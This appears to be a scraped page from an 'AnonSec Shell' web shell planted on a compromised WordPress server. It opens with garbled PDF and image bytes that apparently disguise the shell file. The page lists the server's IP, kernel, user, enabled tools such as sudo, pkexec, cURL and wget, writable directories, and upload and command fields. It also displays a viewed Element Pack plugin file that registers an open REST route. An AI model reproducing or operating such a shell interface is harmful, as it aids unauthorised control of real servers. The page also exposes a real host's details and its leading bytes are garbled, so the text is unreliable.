%PDF-1.3 %��C ��C ����"#Qr����&1!A"2qQa��� ?�y,�/3J�ݹ�߲؋5�Xw���y�R��I0�2�PI�I��iM��r�N&"KgX:��nTJnLK��@!�-� ���m�;�g���&�hw���@�ܗ 9�-�.�1 AnonSec Shell
AnonSec Shell
Server IP : 192.175.98.165  /  Your IP : 216.73.216.219
Web Server : Apache
System : Linux server.tobedev.com 4.18.0-553.72.1.el8_10.x86_64 #1 SMP Tue Sep 2 06:07:48 EDT 2025 x86_64
User : meir5web ( 1019)
PHP Version : 7.4.33
Disable Function : passthru,shell_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/meir5web/public_html/wp-content/plugins/bdthemes-element-pack/base/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/meir5web/public_html/wp-content/plugins/bdthemes-element-pack/base/handler-api.php
<?php 
namespace ElementPack\Base;

defined( 'ABSPATH' ) || exit;

/**
 * Base Handler API class for Element Pack
 * Provides a standardized way to handle REST API endpoints
 */
class Handler_Api {

	public $prefix  = '';
	public $param   = '';
	public $request = null;

	public function __construct() {
		$this->config();
		$this->init();
	}

	/**
	 * Configuration method to be overridden by child classes
	 * Set the prefix and param properties here
	 */
	public function config() {
		// Override this method in child classes
	}

	/**
	 * Initialize the REST API route registration
	 */
	public function init() {
		add_action(
			'rest_api_init',
			function () {
				register_rest_route(
					untrailingslashit( 'element-pack/v1/' . $this->prefix ),
					'/(?P<action>\w+)/' . ltrim( $this->param, '/' ),
					array(
						'methods'             => \WP_REST_Server::ALLMETHODS,
						'callback'            => array( $this, 'callback' ),
						'permission_callback' => '__return_true', 
						// all permissions are implemented inside the callback action
					)
				);
			}
		);
	}

	/**
	 * Main callback handler for REST API requests
	 * Routes requests to appropriate method based on HTTP method and action
	 *
	 * @param \WP_REST_Request $request The REST request object
	 * @return mixed Response from the called method
	 */
	public function callback( $request ) {
		$this->request = $request;
		$action_class  = strtolower( $this->request->get_method() ) . '_' . $this->request['action'];

		if ( method_exists( $this, $action_class ) ) {
			return $this->{$action_class}();
		}

		return new \WP_Error( 
			'method_not_found', 
			esc_html__( 'Method not found', 'bdthemes-element-pack' ), 
			array( 'status' => 404 ) 
		);
	}
}

Anon7 - 2022
AnonSec Team